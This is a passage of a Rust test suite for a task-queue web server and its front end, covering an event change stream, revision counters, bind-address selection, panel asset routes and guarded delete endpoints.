18292        // the focus) rather than fail loudly, so pin every key against the
18293        // section list it has to resolve against.
18294        assert!(
18295            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18296            "every queue tile built through sectionTile() must route its click through \
18297             openQueueSectionFocus"
18298        );
18299        for key in ["upnext", "running", "done", "held", "blocked"] {
18300            assert!(
18301                APP_JS.contains(&format!("{{ key: \"{key}\",")),
18302                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18303            );
18304        }
18305        // Queued and Failed intentionally both resolve to "upnext" - the
18306        // same section queueSection() itself files them under - rather than
18307        // getting a section each.
18308        for line in [
18309            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18310            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18311            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18312            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18313            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18314            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18315        ] {
18316            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18317        }
18318    }
18319
18320    #[test]
18321    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18322        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
18323        // above for the section-focus channel a stats queue tile drives:
18324        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
18325        // through the stale-search-clear recursion into renderQueue(), and
18326        // clear it only once revealQueueSection() is actually about to run -
18327        // the same trap that once silently dropped a task-focus jump.
18328        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18329        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18330        assert!(APP_JS.contains("function revealQueueSection(details)"));
18331        assert!(
18332            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
18333            "renderQueue() must consume both focus channels on every pass"
18334        );
18335        assert!(
18336            APP_JS.contains(
18337                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
18338            ),
18339            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18340             the recursive renderQueue() call has nothing left to reveal"
18341        );
18342        assert!(
18343            APP_JS.contains(
18344                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
18345            ),
18346            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18347        );
18348        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
18349        // task-focus form of the hash - a plain `#queue` navigation only
18350        // flips which view is visible. openQueueSectionFocus() must
18351        // therefore call renderQueue() itself, and applyRoute() too so the
18352        // view flips even when the hash doesn't change (the Backlog may
18353        // already be open when a tile is tapped, firing no hashchange
18354        // event at all).
18355        assert!(
18356            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
18357            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18358             hashchange event that may never fire"
18359        );
18360    }
18361
18362    #[tokio::test]
18363    async fn the_change_stream_announces_the_current_revisions_on_connect() {
18364        let f = Fixture::start().await;
18365
18366        let mut socket = tokio::net::TcpStream::connect(f.addr)
18367            .await
18368            .expect("connect");
18369        socket
18370            .write_all(
18371                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18372            )
18373            .await
18374            .expect("write request");
18375
18376        // Read until the first event arrives rather than to end of stream: the
18377        // stream is endless by design, which is the point of the route.
18378        let mut seen = String::new();
18379        let mut buf = [0u8; 1024];
18380        while !seen.contains("event: change") {
18381            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18382                .await
18383                .expect("the stream must speak within five seconds")
18384                .expect("read");
18385            assert!(read > 0, "the server closed the change stream: {seen}");
18386            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18387        }
18388
18389        assert!(
18390            seen.to_lowercase()
18391                .contains("content-type: text/event-stream"),
18392            "the browser only reconnects automatically for a real SSE stream: {seen}"
18393        );
18394        let data = seen
18395            .lines()
18396            .find_map(|l| l.strip_prefix("data:"))
18397            .expect("a data line");
18398        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18399        assert!(
18400            payload["queue_rev"].is_u64()
18401                && payload["runs_rev"].is_u64()
18402                && payload["questions_rev"].is_u64()
18403                && payload["talks_rev"].is_u64()
18404                && payload["notifications_rev"].is_u64()
18405                && payload["loop_rev"].is_u64(),
18406            "the client needs one revision per store to know what to refetch, \
18407             and `talks_rev` is the only notification a standing talk gets - a \
18408             phone whose radio slept through a turn learns about it here, as \
18409             does one whose operator started the loop from another device: \
18410             {payload}"
18411        );
18412
18413        // The front end re-polls health on a timer and on wake, and takes the
18414        // revisions from that answer whenever the stream is not up. So health
18415        // has to carry every key the stream carries: a phone on a link that
18416        // will not hold an SSE connection is exactly the phone that must still
18417        // notice a question, and a missing key there is not a 500 but a UI
18418        // that quietly stops updating.
18419        let health = f.get("/api/health").await.json();
18420        for key in [
18421            "queue_rev",
18422            "runs_rev",
18423            "questions_rev",
18424            "talks_rev",
18425            "notifications_rev",
18426            "loop_rev",
18427        ] {
18428            assert!(
18429                health[key].is_u64(),
18430                "health is the change stream's fallback and is missing `{key}`: {health}"
18431            );
18432        }
18433    }
18434
18435    #[tokio::test]
18436    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18437        let f = Fixture::start().await;
18438        let before = f.get("/api/health").await.json()["talks_rev"]
18439            .as_u64()
18440            .expect("talks_rev");
18441
18442        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18443        std::thread::sleep(Duration::from_millis(10));
18444        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18445        on_disk.turns.push(crate::talk::Turn {
18446            sender: None,
18447            breaks: Some(Vec::new()),
18448            messages: Vec::new(),
18449            posted_by: None,
18450            who: crate::talk::Who::Operator,
18451            body: "a new turn".to_owned(),
18452            at: Timestamp::now(),
18453            attachments: Vec::new(),
18454            usage: None,
18455        });
18456        f.talks().put(&mut on_disk).expect("record a turn");
18457
18458        let after = f.get("/api/health").await.json()["talks_rev"]
18459            .as_u64()
18460            .expect("talks_rev");
18461        assert_ne!(
18462            before, after,
18463            "a phone must be able to notice a talk's reply without polling every store"
18464        );
18465    }
18466
18467    #[test]
18468    fn bind_reads_back_from_the_spelling_the_cli_prints() {
18469        // The CLI shows the default in `--help` and parses whatever comes
18470        // back, so the two directions have to agree or `--bind auto` breaks
18471        // the moment someone copies the help text.
18472        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18473            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18474        }
18475        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18476        assert!("everywhere".parse::<Bind>().is_err());
18477    }
18478
18479    #[test]
18480    fn an_explicit_bind_address_is_taken_verbatim() {
18481        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18482
18483        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18484
18485        assert_eq!(addr, asked);
18486        assert!(
18487            warning.is_none(),
18488            "an operator who named an address gets no lecture"
18489        );
18490    }
18491
18492    #[test]
18493    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18494        let (addr, warning) = resolve_bind(&Bind::Auto);
18495
18496        // This has to hold on a CI runner with no `tailscale` and on a dev box
18497        // with one, so the invariant asserted is the one shared by both
18498        // outcomes: the address is either a real tailnet address offered
18499        // without comment, or loopback with an explanation. What must never
18500        // happen is a silent fallback - an operator told "listening on
18501        // 127.0.0.1" with no reason would go looking for a firewall.
18502        match addr {
18503            IpAddr::V4(ip) if is_tailnet(&ip) => {
18504                assert!(warning.is_none(), "a tailnet address needs no warning");
18505            }
18506            other => {
18507                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18508                let warning = warning.expect("a fallback has to explain itself");
18509                assert!(
18510                    warning.contains("127.0.0.1") && warning.contains("local-only"),
18511                    "the warning says what happened and what it costs: {warning}"
18512                );
18513            }
18514        }
18515    }
18516
18517    #[test]
18518    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18519        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
18520        // boundary cases are what stop us binding to some other tool's idea of
18521        // an address.
18522        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18523        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18524        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18525        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18526        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18527    }
18528
18529    #[test]
18530    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18531        let ids = vec![
18532            "20260902-140501-aaaa".to_owned(),
18533            "20260902-140502-aabb".to_owned(),
18534        ];
18535
18536        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18537        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18538        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18539
18540        assert_eq!(missing.status, StatusCode::NOT_FOUND);
18541        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18542        assert_eq!(short, "20260902-140502-aabb");
18543    }
18544    #[tokio::test]
18545    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18546        // The prompt tells agents to reference attachments by bare filename.
18547        // A document served at `.../panel` resolves `shot.png` against its own
18548        // directory, i.e. `.../shot.png`, which is not the asset route - so a
18549        // panel written exactly as instructed showed broken images. Caught by
18550        // looking at a real one in a browser, not by reading the code.
18551        let fx = Fixture::start().await;
18552        let id = panel(
18553            &fx,
18554            "<img src=\"shot.png\">",
18555            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18556        );
18557
18558        // The frame's own URL ends in a filename, so its siblings are reachable.
18559        let doc = fx
18560            .get(&format!("/api/questions/{id}/panel/index.html"))
18561            .await;
18562        assert_eq!(doc.status, 200, "{}", doc.body);
18563        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18564
18565        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18566        assert_eq!(sibling.status, 200, "{}", sibling.body);
18567        assert_eq!(sibling.header("content-type"), Some("image/png"));
18568        assert_eq!(
18569            sibling.header("content-security-policy"),
18570            Some(PANEL_CSP),
18571            "the sibling route must carry the same policy as the asset route"
18572        );
18573
18574        // The original spelling keeps working: HEAD on it is how the front end
18575        // decides whether to mount a frame at all.
18576        assert_eq!(
18577            fx.head(&format!("/api/questions/{id}/panel")).await.status,
18578            200
18579        );
18580    }
18581
18582    #[test]
18583    fn delta_stamps_cover_add_update_remove_and_noop() {
18584        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18585        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18586        let delta = diff_stamps(&before, &after, 42);
18587        assert_eq!(delta.base, 42);
18588        assert_eq!(delta.changed, ["b", "c"]);
18589        assert_eq!(delta.removed, ["a"]);
18590        let same = diff_stamps(&after, &after, 43);
18591        assert!(same.changed.is_empty() && same.removed.is_empty());
18592        assert_ne!(stamps_revision(&before), stamps_revision(&after));
18593        let nanos: Stamps = [("b".into(), (2, 20))].into();
18594        let same_ms: Stamps = [("b".into(), (3, 20))].into();
18595        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18596        assert_eq!(stamps_revision(&Stamps::new()), 0);
18597    }
18598
18599    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18600        std::fs::create_dir_all(home.join("runs")).unwrap();
18601        Arc::new(Ui::new(
18602            Queue::at(home.join("queue")),
18603            Questions::at(home.join("questions")),
18604            Talks::at(home.join("talks")),
18605            home.join("runs"),
18606            home.to_owned(),
18607            PathBuf::from("/repo/magi"),
18608        ))
18609    }
18610
18611    #[tokio::test]
18612    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18613        let home = TempDir::new().unwrap();
18614        let ui = delta_test_ui(home.path());
18615        let mut task = Task::new(
18616            "stream task".into(),
18617            "text".into(),
18618            PathBuf::from("/repo"),
18619            Source::Human,
18620        );
18621        ui.queue.put(&mut task).unwrap();
18622        let response = events(State(ui.clone())).await.into_response();
18623        let mut stream = response.into_body().into_data_stream();
18624        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18625            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18626                .await
18627                .unwrap()
18628                .unwrap()
18629                .unwrap();
18630            let text = String::from_utf8(chunk.to_vec()).unwrap();
18631            let data = text
18632                .lines()
18633                .find_map(|line| {
18634                    line.strip_prefix("data: ")
18635                        .or_else(|| line.strip_prefix("data:"))
18636                })
18637                .unwrap();
18638            serde_json::from_str(data).unwrap()
18639        }
18640        let initial = change(&mut stream).await;
18641        assert!(initial.get("queue_delta").is_none());
18642        task.instruction.push_str(" changed");
18643        ui.queue.put(&mut task).unwrap();
18644        let updated = change(&mut stream).await;
18645        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18646        assert_eq!(
18647            updated["queue_delta"]["changed"],
18648            serde_json::json!([task.id])
18649        );
18650        assert_eq!(
18651            updated["queue_rev"].as_u64(),
18652            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18653        );
18654        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18655        let removed = change(&mut stream).await;
18656        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18657        assert_eq!(
18658            removed["queue_delta"]["removed"],
18659            serde_json::json!([task.id])
18660        );
18661    }
18662
18663    #[tokio::test]
18664    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18665        let home = TempDir::new().unwrap();
18666        let ui = delta_test_ui(home.path());
18667        let queue = ui.queue.clone();
18668        let query = |ids: Option<&str>| {
18669            Query(ListQuery {
18670                limit: Some(2),
18671                ids: ids.map(str::to_owned),
18672            })
18673        };
18674        let mut root = Task::new(
18675            "root".into(),
18676            "instruction".into(),
18677            PathBuf::from("/repo"),
18678            Source::Human,
18679        );
18680        queue.put(&mut root).unwrap();
18681        let mut blocked = Task::new(
18682            "blocked".into(),
18683            "instruction".into(),
18684            PathBuf::from("/repo"),
18685            Source::Human,
18686        );
18687        blocked.block(vec![root.id.clone()], None);
18688        queue.put(&mut blocked).unwrap();
18689        let whole =
18690            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18691                .unwrap();
18692        let subset = serde_json::to_value(
18693            queue_list(State(ui.clone()), query(Some(&root.id)))
18694                .await
18695                .unwrap()
18696                .0,
18697        )
18698        .unwrap();
18699        assert_eq!(whole, subset, "requested root plus its blocked dependent");
18700        let blockers = serde_json::to_value(
18701            queue_list(State(ui.clone()), query(Some("")))
18702                .await
18703                .unwrap()
18704                .0,
18705        )
18706        .unwrap();
18707        assert_eq!(blockers.as_array().unwrap().len(), 1);
18708        assert_eq!(blockers[0]["id"], blocked.id);
18709        assert_eq!(
18710            blockers[0]["waits_on"],
18711            whole
18712                .as_array()
18713                .unwrap()
18714                .iter()
18715                .find(|row| row["id"] == blocked.id)
18716                .unwrap()["waits_on"]
18717        );
18718
18719        for id in [
18720            "20260902-140501-aaaa",
18721            "20260902-140502-bbbb",
18722            "20260902-140503-cccc",
18723        ] {
18724            write_run(&ui.runs, id, RunStatus::Merged);
18725        }
18726        let old = serde_json::to_value(
18727            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18728                .await
18729                .unwrap()
18730                .0,
18731        )
18732        .unwrap();
18733        assert!(
18734            old.as_array().unwrap().is_empty(),
18735            "older updates must not enter the window"
18736        );
18737        let newest = serde_json::to_value(
18738            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18739                .await
18740                .unwrap()
18741                .0,
18742        )
18743        .unwrap();
18744        assert_eq!(newest.as_array().unwrap().len(), 1);
18745        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18746
18747        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18748        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18749        let talks = serde_json::to_value(
18750            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18751                .await
18752                .unwrap()
18753                .0,
18754        )
18755        .unwrap();
18756        assert_eq!(talks.as_array().unwrap().len(), 1);
18757        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18758        assert_eq!(
18759            serde_json::to_value(
18760                talks_list(State(ui.clone()), query(Some("")))
18761                    .await
18762                    .unwrap()
18763                    .0
18764            )
18765            .unwrap(),
18766            serde_json::json!([])
18767        );
18768    }
18769
18770    #[tokio::test]
18771    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18772    async fn delta_payload_benchmark() {
18773        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18774        let ui = delta_test_ui(&home);
18775        let query = |ids: Option<String>| {
18776            Query(ListQuery {
18777                limit: Some(50),
18778                ids,
18779            })
18780        };
18781        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18782        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18783        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18784        let queue_id = queue
18785            .iter()
18786            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18787            .unwrap_or(&queue[0])
18788            .task
18789            .id
18790            .clone();
18791        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18792            .await
18793            .unwrap()
18794            .0;
18795        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18796            .await
18797            .unwrap()
18798            .0;
18799        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18800            .await
18801            .unwrap()
18802            .0;
18803        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18804        eprintln!(
18805            "DELTA_PAYLOAD {}",
18806            serde_json::json!({
18807                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18808                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18809                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18810                "counts": [queue.len(), runs.len(), talks.len()],
18811                "blocked": queue_delta.len() - 1,
18812            })
18813        );
18814    }
18815
18816    #[test]
18817    fn runs_revision_moves_when_deleting_an_older_run() {
18818        let temp = TempDir::new().expect("tempdir");
18819        let runs = temp.path().join("runs");
18820        std::fs::create_dir_all(&runs).expect("create runs dir");
18821
18822        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18823
18824        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18825        std::thread::sleep(Duration::from_millis(10));
18826        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18827
18828        let rev_before = runs_revision(&runs);
18829        assert!(rev_before > 0);
18830
18831        let old_dir = runs.join("20260901-100000-old1");
18832        std::fs::remove_dir_all(&old_dir).expect("remove old run");
18833
18834        let rev_after = runs_revision(&runs);
18835        assert_ne!(
18836            rev_before, rev_after,
18837            "deleting an older run must change the revision so other clients see the deletion"
18838        );
18839    }
18840
18841    /// A run's own `run.json` on an explicit `runs` root, bypassing the
18842    /// process-global home entirely — `RunState::save` writes through
18843    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
18844    /// (see `tests::home_lock` in the integration suite for why).
18845    fn write_state(runs: &FsPath, state: &RunState) {
18846        let dir = runs.join(&state.id);
18847        std::fs::create_dir_all(&dir).expect("run dir");
18848        std::fs::write(
18849            dir.join("run.json"),
18850            serde_json::to_string_pretty(state).expect("serialize run"),
18851        )
18852        .expect("write run.json");
18853    }
18854
18855    /// A seat starting or finishing is a write to `run.json` like any other,
18856    /// so it moves the same revision the change stream already watches —
18857    /// nothing new for `/api/events` to learn, but the property this feature
18858    /// depends on to reach the phone without a poll.
18859    #[test]
18860    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18861        let temp = TempDir::new().expect("tempdir");
18862        let runs = temp.path().join("runs");
18863        std::fs::create_dir_all(&runs).expect("create runs dir");
18864        let mut state = RunState::new(
18865            PathBuf::from("/repo/magi"),
18866            "main".to_owned(),
18867            "0123456789abcdef".to_owned(),
18868            "task".to_owned(),
18869            Config::default(),
18870        );
18871        state.id = "20260902-100000-c0de".to_owned();
18872        write_state(&runs, &state);
18873
18874        let rev_idle = runs_revision(&runs);
18875        std::thread::sleep(Duration::from_millis(10));
18876        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18877        write_state(&runs, &state);
18878        let rev_started = runs_revision(&runs);
18879        assert_ne!(
18880            rev_idle, rev_started,
18881            "a seat starting must move the revision"
18882        );
18883
18884        std::thread::sleep(Duration::from_millis(10));
18885        state.seat_finished("judge-1");
18886        write_state(&runs, &state);
18887        let rev_finished = runs_revision(&runs);
18888        assert_ne!(
18889            rev_started, rev_finished,
18890            "and clearing it again must move the revision a second time"
18891        );
18892    }
18893
18894    #[tokio::test]
18895    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18896        // `TaskView` flattens `Task`, so this is really asserting that
18897        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
18898        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
18899        // never touched web.rs, so nothing here caught it if it had.
18900        let fx = Fixture::start().await;
18901        let q = fx.queue();
18902
18903        let mut t = Task::new(
18904            "Task".to_owned(),
18905            "Instruction".to_owned(),
18906            PathBuf::from("/repo"),
18907            Source::Human,
18908        );
18909        t.block(
18910            vec!["20260101-000000-dead".to_owned()],
18911            Some("waiting on Task 1".to_owned()),
18912        );
18913        t.answers.push(crate::queue::AnsweredQuestion {
18914            question: "Which backend?".to_owned(),
18915            answer: "SQLite".to_owned(),
18916        });
18917        q.put(&mut t).expect("put t");
18918
18919        let res = fx.get("/api/queue").await;
18920        assert_eq!(res.status, 200);
18921        let list = res.json();
18922        let view = list
18923            .as_array()
18924            .expect("array")
18925            .iter()
18926            .find(|v| v["id"] == t.id)
18927            .expect("task in list");
18928        assert_eq!(view["status_str"], "blocked");
18929        assert_eq!(
18930            view["blocked_by"],
18931            serde_json::json!(["20260101-000000-dead"])
18932        );
18933        assert_eq!(view["block_reason"], "waiting on Task 1");
18934        assert_eq!(view["answers"][0]["question"], "Which backend?");
18935        assert_eq!(view["answers"][0]["answer"], "SQLite");
18936
18937        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
18938        // but never `answers` - that is a settled decision, not state
18939        // describing the current block, so it survives.
18940        let res = fx
18941            .post(&format!("/api/queue/{}/hold", t.short()), None)
18942            .await;
18943        assert_eq!(res.status, 200);
18944        let held = res.json();
18945        assert_eq!(held["status_str"], "held");
18946        assert_eq!(held["blocked_by"], serde_json::json!([]));
18947        assert!(held["block_reason"].is_null());
18948        assert_eq!(held["answers"][0]["answer"], "SQLite");
18949    }
18950
18951    #[tokio::test]
18952    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18953        let fx = Fixture::start().await;
18954        let q = fx.queue();
18955        let mk = |title: &str| {
18956            Task::new(
18957                title.to_owned(),
18958                "Instruction".to_owned(),
18959                PathBuf::from("/repo"),
18960                Source::Human,
18961            )
18962        };
18963        let mut root = mk("root");
18964        root.hold_manual(Some("waiting".to_owned()));
18965        q.put(&mut root).unwrap();
18966        let mut mid = mk("mid");
18967        mid.block(vec![root.id.clone()], None);
18968        q.put(&mut mid).unwrap();
18969        let mut leaf = mk("leaf");
18970        leaf.block(vec![mid.id.clone()], None);
18971        q.put(&mut leaf).unwrap();
18972
18973        let list = fx.get("/api/queue").await.json();
18974        let find = |id: &str| {
18975            list.as_array()
18976                .unwrap()
18977                .iter()
18978                .find(|v| v["id"] == id)
18979                .unwrap()
18980                .clone()
18981        };
18982        let leaf_view = find(&leaf.id);
18983        assert_eq!(
18984            leaf_view["waits_on"],
18985            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18986        );
18987        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18988        assert_eq!(
18989            find(&mid.id)["waits_on"],
18990            serde_json::json!([format!("{} (held)", root.short())])
18991        );
18992        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18993    }
18994
18995    #[tokio::test]
18996    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18997        let fx = Fixture::start().await;
18998        let q = fx.queue();
18999
19000        // 1. A queued task with runs attached can be deleted.
19001        let mut t1 = Task::new(
19002            "Task 1".to_owned(),
19003            "Instruction 1".to_owned(),
19004            PathBuf::from("/repo"),
19005            Source::Human,
19006        );
19007        let run_id = "20260901-000000-r111";
19008        t1.runs.push(run_id.to_owned());
19009        write_run(&fx.runs(), run_id, RunStatus::Merged);
19010        q.put(&mut t1).expect("put t1");
19011
19012        // Delete by short id
19013        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19014        assert_eq!(res.status, 204);
19015        assert!(res.body.is_empty(), "204 No Content has no body");
19016        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19017        assert!(
19018            fx.runs().join(run_id).exists(),
19019            "run directory must not be deleted when its task is deleted"
19020        );
19021
19022        // 2. A task a live daemon is running is refused with 409.
19023        let mut t2 = Task::new(
19024            "Task 2".to_owned(),
19025            "Instruction 2".to_owned(),
19026            PathBuf::from("/repo"),
19027            Source::Human,
19028        );
19029        t2.status = TaskStatus::Running;
19030        q.put(&mut t2).expect("put t2");
19031        let mut beat = crate::daemon::Status::new();
19032        beat.current = vec![crate::daemon::Current {
19033            task: t2.id.clone(),
19034            run: "20260901-000000-r222".to_owned(),
19035        }];
19036        beat.updated_at = jiff::Timestamp::now();
19037        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19038            .expect("publish a heartbeat");
19039        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19040        assert_eq!(res.status, 409);
19041        assert!(
19042            res.json()["error"]
19043                .as_str()
19044                .unwrap()
19045                .contains("live daemon")
19046        );
19047        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19048
19049        // 3. The same `running` status and an orphaned lock, with no daemon
19050        // behind either, is a leftover and deletable. Before this the phone
19051        // refused it for good: the status never changes on its own and
19052        // nothing drops a lock whose process is gone.
19053        // The daemon is killed: the file stays, the heartbeat stops.
19054        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19055        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19056            .expect("leave a stale heartbeat");
19057        let mut t3 = Task::new(
19058            "Task 3".to_owned(),
19059            "Instruction 3".to_owned(),
19060            PathBuf::from("/repo"),
19061            Source::Human,
19062        );
19063        t3.status = TaskStatus::Running;
19064        q.put(&mut t3).expect("put t3");
19065        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19066        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19067        assert_eq!(res.status, 204);
19068        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19069        assert!(
19070            q.claim(&t3.id).is_ok(),
19071            "the stale lock went with it, so the id is claimable again"
19072        );
19073
19074        // 4. Missing id returns 404
19075        let res = fx.delete("/api/queue/nonexistent").await;
19076        assert_eq!(res.status, 404);
19077    }
19078
19079    #[tokio::test]
19080    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19081        let fx = Fixture::start().await;
19082        let runs = fx.runs();
19083
19084        // 1. Finished and folded run can be deleted along with artifacts
19085        let run_id = "20260901-000000-fold";
19086        let mut state = RunState::new(
19087            PathBuf::from("/repo"),
19088            "main".to_owned(),
19089            "abc".to_owned(),
19090            "instruction".to_owned(),
19091            Config::default(),
19092        );
19093        state.id = run_id.to_owned();
19094        state.status = RunStatus::Merged;
19095        state.candidates.push(crate::run::Candidate {
19096            index: 0,
19097            label: 'A',
19098            agent: "a".to_owned(),
19099            branch: "b".to_owned(),
19100            worktree: PathBuf::from("/w"),
19101            summary: String::new(),
19102            stat: String::new(),
19103            files: 1,
19104            commits: 1,
19105            empty: false,
19106            failed: None,
19107            verified_noop: None,
19108            duration_ms: 0,
19109            folded: true,
19110        });
19111        let dir = runs.join(run_id);
19112        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19113        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19114            .expect("write artifact");
19115        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19116            .expect("write run.json");
19117
19118        // Delete by short id
19119        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19120        assert_eq!(res.status, 204);
19121        assert!(res.body.is_empty(), "204 has no body");
19122        assert!(!dir.exists(), "run directory and artifacts must be deleted");
19123
19124        // 2. A run a live daemon is working on is refused with 409. The
19125        // heartbeat is what makes it refusable: an unfinished run with no
19126        // daemon behind it is a leftover from a killed process, and case 1
19127        // above would otherwise be impossible to tell apart from this one.
19128        let run_running = "20260901-000000-rung";
19129        write_run(&runs, run_running, RunStatus::Prep);
19130        let mut beat = crate::daemon::Status::new();
19131        beat.current = vec![crate::daemon::Current {
19132            task: "20260901-000000-task".to_owned(),
19133            run: run_running.to_owned(),
19134        }];
19135        beat.updated_at = jiff::Timestamp::now();
19136        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19137            .expect("publish a heartbeat");
